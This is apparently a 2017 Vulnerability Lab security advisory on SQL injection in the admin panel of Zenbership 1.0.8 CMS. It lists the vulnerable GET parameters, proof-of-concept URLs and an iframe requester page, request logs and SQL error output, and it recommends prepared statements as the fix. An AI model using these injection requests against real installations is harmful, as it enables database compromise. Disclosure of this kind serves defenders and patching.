Document Title: =============== Zenbership 1.0.8 CMS - Multiple SQL Injection Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2073 Release Date: ============= 2017-06-09 Vulnerability Laboratory ID (VL-ID): ==================================== 2073 Common Vulnerability Scoring System: ==================================== 5.3 Vulnerability Class: ==================== SQL Injection Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Zenbership is a free & open source membership management platform for online businesses facilitating the acquisition, monetization, and retention of members. The software is designed to act as a central hub for your employees, combining multiple tools into one solution, and automating tasks like member registration, renewals, and marketing. Your members will also benefit from a branded self-service portal to update data, manage subscriptions, get news, and view event registrations. (Copy of the Homepage: http://www.zenbership.com/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple sql-injection vulnerabilities in the official Zenbership v1.0.8 ecommerce crm content management system web-application. Vulnerability Disclosure Timeline: ================================== 2017-06-09: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Castlamp Product: Zenbership - Content Management System (Web-Application) 1.0.8 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ The sql-injection vulnerability allows remote attackers or privileged user accounts to execute malicious sql commands to compromise the web-application and database management system. The vulnerabilities are located in the `error_codes`, `subscriptions`, `widget` and `logins` parameters of the `./admin/index.php` file. Attackers with privileged web-application user accounts are able to execute malicious sql commands via GET method request. The requested content of the files is not sanitized via parse or escape. The security risk of the vulnerabilities are estimated as medium with a common vulnerability scoring system count of 5.3. Exploitation of the sql-injection vulnerability requires a privileged web-application user account without user interaction. Successful exploitation of the web vulnerability results in web-application or database management system compromise. Request Method(s): [+] GET Vulnerable File(s): [+] index.php Vulnerable Parameter(s): [+] error_codes [+] subscriptions [+] widget [+] logins Proof of Concept (PoC): ======================= The sql-injection vulnerabilities can be exploited by remote attackers without user interaction and with privileged user account. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploitation ./Zenbership/admin/index.php?l=error_codes&filters[]=I||code||like||ppSD_error_codes'[SQL-INJECTION VULNERABILITY!]-- ./Zenbership/admin/index.php?l=subscriptions&filters[]=1||status||eq||ppSD_subscriptions%27[SQL-INJECTION VULNERABILITY!]-- ./Zenbership/admin/index.php?l=widgets&filters[]=code||type||eq||ppSD_widgets%27[SQL-INJECTION VULNERABILITY!]-- ./Zenbership/admin/index.php?l=logins&filters[]=2017-04-09||date||gt||ppSD_logins%27[SQL-INJECTION VULNERABILITY!]-- PoC: Exploitation <html> <head><body> <title>Zenbership SQL-Injection Proof of Concept Requester</title> <iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=error_codes&filters[]=I||code||like||ppSD_error_codes'[SQL-INJECTION]--> <iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=subscriptions&filters[]=1||status||eq||ppSD_subscriptions%27[SQL-INJECTION]--> <iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=widgets&filters[]=code||type||eq||ppSD_widgets%27[SQL-INJECTION]--> <iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=logins&filters[]=2017-04-09||date||gt||ppSD_logins%27[SQL-INJECTION]--> </body></head> </html> --- PoC Session Logs [GET] --- Status: 200[OK] GET https://zenbership.localhost:8080/Zenbership/admin/index.php?l=error_codes&filters[]=I||code||like||ppSD_error_codes%27[SQL-INJECTION]-- Mime Type[text/html] Request Header: Host[zenbership.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate, br] Cookie[zen_admin_ses=a29f98519c3933c15c0b4cc738c4a769-0c7540eb7e65b553ec1ba6b20de79608-7a74fa3cece79a20faa4feaea64eeed6; zen_cart=NQR-2156237999] DNT[1] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Date[Tue, 09 May 2017 18:26:51 GMT] Server[Apache/2.2.31 (Unix)] X-Powered-By[PHP/5.3.29] Content-Length[360] Connection[close] Content-Type[text/html; charset=UTF-8] --- SQL Error Exception Log --- Invalid query (SELECT `value` FROM `ppSD_options` WHERE `id`=? LIMIT 1): 42S02---1146---Table 'soft_zenber.ppSD_options' doesn't exist time_change --- Invalid query ( SELECT COUNT(*) FROM `ppSD_error_codes` WHERE ppSD_error_codes'.code LIKE '%I%' ): 42000---1064---You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''.code LIKE '%I%'' at line 1 --- Invalid query ( SELECT COUNT(*) FROM `ppSD_subscriptions` WHERE ppSD_subscriptions'.status='1' ): 42000---1064---You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''.status='1'' at line 1 --- Invalid query ( SELECT COUNT(*) FROM `ppSD_cart_sessions` LEFT JOIN `ppSD_cart_session_totals` ON ppSD_cart_sessions.id=ppSD_cart_session_totals.id LEFT JOIN `ppSD_shipping` ON ppSD_cart_sessions.id=ppSD_shipping.cart_session LEFT JOIN `ppSD_cart_billing` ON ppSD_cart_sessions.id=ppSD_cart_billing.id WHERE ppSD_cart_sessions'.status='2' ): 42000---1064---You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''.status='2'' at line 1 --- Invalid query ( SELECT COUNT(*) FROM `ppSD_logins` WHERE ppSD_logins-1'.date>'2017-04-09' ): 42000---1064---You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''.date>'2017-04-09'' at line 1 --- Invalid query (unkown column) You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 20 Reference(s): https://zenbership.localhost:8080/ https://zenbership.localhost:8080/Zenbership/ https://zenbership.localhost:8080/Zenbership/admin/ https://zenbership.localhost:8080/Zenbership/admin/index.php Solution - Fix & Patch: ======================= The sql-injection can be patched by usage of a prepared statement. Disallow to show the error logs. Escape the parameter values to prevent exploitation of the vulnerabilities. Security Risk: ============== The security risk of the remote sql-injection vulnerabilities in the web-application is estimated as medium (CVSS 5.3). Credits & Authors: ================== N/A - Anonymous Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com